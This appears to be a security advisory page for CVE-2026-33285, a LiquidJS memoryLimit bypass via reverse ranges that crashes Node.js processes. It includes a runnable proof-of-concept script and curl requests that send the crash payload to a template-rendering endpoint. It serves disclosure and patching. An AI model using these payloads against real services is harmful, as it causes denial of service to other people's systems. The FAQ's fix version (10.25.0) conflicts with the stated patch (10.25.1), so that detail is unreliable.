CVE-2026-33285: LiquidJS: memoryLimit Bypass through Negative Range Values Leads to Process Crash

Published Mar 25, 2026
·
Updated

Summary

LiquidJS's memoryLimit security mechanism can be completely bypassed by using reverse range expressions (e.g., (100000000..1)), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., replace filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request.

Details When LiquidJS evaluates a range token (low..high), it calls ctx.memoryLimit.use(high - low + 1) in src/render/expression.ts:70 to account for memory usage. However, for reverse ranges where low > high (e.g., (100000000..1)), this computation yields a negative value (1 - 100000000 + 1 = -99999998).

The Limiter.use() method in src/util/limiter.ts:11-14 does not validate that the count parameter is non-negative. It simply adds count to this.base, causing the internal counter to go negative. Once the counter is sufficiently negative, subsequent legitimate memory allocations that would normally exceed the configured memoryLimit pass the base + count <= limit assertion.

typescript // src/render/expression.ts:67-72 function evalRangeToken (token: RangeToken, ctx: Context) { const low: number = yield evalToken(token.lhs, ctx) const high: number = yield evalToken(token.rhs, ctx) ctx.memoryLimit.use(high - low + 1) // high=1, low=1e8 → use(-99999999) return range(+low, +high + 1) }

// src/util/limiter.ts:11-14 use (count: number) { count = +count || 0 assert(this.base + count <= this.limit, this.message) this.base += count // base becomes negative }

Escalation to Process Crash via Cons-String Flattening

V8 optimizes string concatenation (append filter) by creating a cons-string (a linked tree of string fragments) rather than copying data. This means {% assign s = s | append: s %} repeated 27 times creates a 134MB logical string that consumes only kilobytes of actual memory.

However, when a filter that requires the full string buffer is applied — such as replace — V8 must "flatten" the cons-string into a contiguous memory buffer. For a 134MB cons-string, this requires allocating ~268MB (UTF-16) in a single operation. This triggers a V8 C++ level Fatal error (Fatal JavaScript invalid size error 134217729) that:

- Cannot be caught by JavaScript try-catch or process.on('uncaughtException') - Immediately terminates the Node.js process (exit code 133 / SIGTRAP) - Crashes the entire service, not just the attacking connection

The complete attack chain: 1. Insert 5 reverse ranges {% for x in (100000000..1) %}{% endfor %} → memory budget becomes -500M 2. Build a 134MB cons-string via 27 iterations of {% assign s = s | append: s %} → negligible actual memory 3. Apply {% assign flat = s | replace: 'A', 'B' %} → V8 attempts to flatten → Fatal error → process crash

The attacker payload is ~400 bytes. The server process dies instantly. Express error handlers, domain handlers, and uncaughtException handlers are all bypassed.

PoC - LiquidJS <= 10.24.x with memoryLimit option enabled - Attacker can control Liquid template source code

Save the following as pocmemorylimitbypass.js and run with node pocmemorylimitbypass.js:

javascript const { Liquid } = require('liquidjs');

(async () => { const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit

// Step 1 — Baseline: memoryLimit blocks large allocation console.log('=== Step 1: Baseline (should fail) ==='); try { const baseline = "{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"; const result = await engine.parseAndRender(baseline); console.log('Result:', result); // Should not reach here } catch (e) { console.log('Blocked:', e.message); // "memory alloc limit exceeded" }

// Step 2 — Bypass: reverse ranges drive counter negative console.log('\n=== Step 2: Bypass (should succeed) ==='); try { const bypass = "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"; const result = await engine.parseAndRender(bypass); console.log('Result:', result); // "134217728" — 134MB allocated despite 100MB limit } catch (e) { console.log('Error:', e.message); }

// Step 3 — Process crash: cons-string flattening via replace console.log('\n=== Step 3: Process crash (node process will terminate) ==='); console.log('If the process exits here with code 133/SIGTRAP, the crash is confirmed.'); try { const crash = [ ...Array(5).fill('{% for x in (100000000..1) %}{% endfor %}'), "{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}", "{% assign flat = s | replace: 'A', 'B' %}{{ flat | size }}" ].join(''); const result = await engine.parseAndRender(crash); console.log('Result:', result); // Should not reach here } catch (e) { console.log('Caught error:', e.message); // V8 Fatal error is NOT catchable } })();

Expected output:

=== Step 1: Baseline (should fail) === Blocked: memory alloc limit exceeded, line:1, col:43

=== Step 2: Bypass (should succeed) === Result: 134217728

=== Step 3: Process crash (node process will terminate) === If the process exits here with code 133/SIGTRAP, the crash is confirmed. Fatal error in , line 0 Fatal JavaScript invalid size error 134217729

The process terminates at Step 3 with exit code 133 (SIGTRAP). The V8 Fatal error occurs at the C++ level and cannot be caught by try-catch, process.on('uncaughtException'), or any JavaScript error handler.

HTTP Reproduction (for applications that accept user templates)

If the application exposes an endpoint that renders user-supplied Liquid templates with memoryLimit configured (e.g., CMS preview, newsletter editor, etc.):

bash Step 1 — Baseline: should return "memory alloc limit exceeded" curl -s -X POST http://<app>/render \ -H "Content-Type: application/json" \ -d '{"template": "{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"}'

Step 2 — Bypass: should return "134217728" (134MB allocated despite 100MB limit) curl -s -X POST http://<app>/render \ -H "Content-Type: application/json" \ -d '{"template": "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"}'

Step 3 — Process crash: connection drops, server process terminates curl -s -X POST http://<app>/render \ -H "Content-Type: application/json" \ -d '{"template": "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{% assign flat = s | replace: '\''A'\'', '\''B'\'' %}{{ flat | size }}"}'

Replace http://<app>/render with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework or endpoint structure.

Impact An attacker who can control template content (common in CMS, email template editors, and SaaS platforms using LiquidJS) can bypass the memoryLimit protection entirely and crash the Node.js process:

- Complete bypass of the memoryLimit security mechanism: The explicitly configured memory limit becomes ineffective. - Process crash from a single HTTP request: V8 Fatal error terminates the entire Node.js process, not just the attacking request. This is not a catchable JavaScript exception. - Service-wide denial of service: All in-flight requests are terminated. Manual restart or container restart policy is required to recover. - False sense of security: Administrators who configured memoryLimit believe their service is protected when it is not. - Container restart policy does not mitigate: Even with Docker restart: always or Kubernetes liveness probes, repeated crash payloads can keep the service in a perpetual restart loop. Each restart takes several seconds, during which all in-flight requests are lost and the service is unavailable.

Other sources

LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.1, LiquidJS's memoryLimit security mechanism can be completely bypassed by using reverse range expressions (e.g., (100000000..1)), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., replace filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request. Version 10.25.1 patches the issue.

MITRE

Affected Software

2 affected components
npm/liquidjs<=10.24.0
LiquidJS Liquidjs Node.js<10.25.1

Event History

Mar 25, 2026
Advisory Published
via GitHub·05:40 PM
Data Sourced
via GitHub·05:40 PM
DescriptionSeverityWeaknessAffected Software
Mar 26, 2026
CVE Published
via MITRE·12:34 AM
Data Sourced
via MITRE·12:34 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·01:16 AM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-33285?

The severity of CVE-2026-33285 is considered high due to its potential to allow unlimited memory allocation.

2

How do I fix CVE-2026-33285?

To fix CVE-2026-33285, upgrade LiquidJS to version 10.25.0 or later where the vulnerability has been addressed.

3

What software is affected by CVE-2026-33285?

CVE-2026-33285 affects the LiquidJS package version 10.24.0 and below.

4

What types of attacks can CVE-2026-33285 facilitate?

CVE-2026-33285 can facilitate denial-of-service attacks by allowing the allocation of unlimited memory.

5

Is the memory limit in LiquidJS secure against all input types in previous versions?

No, the previous memory limit security mechanism in LiquidJS can be bypassed using reverse range expressions.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203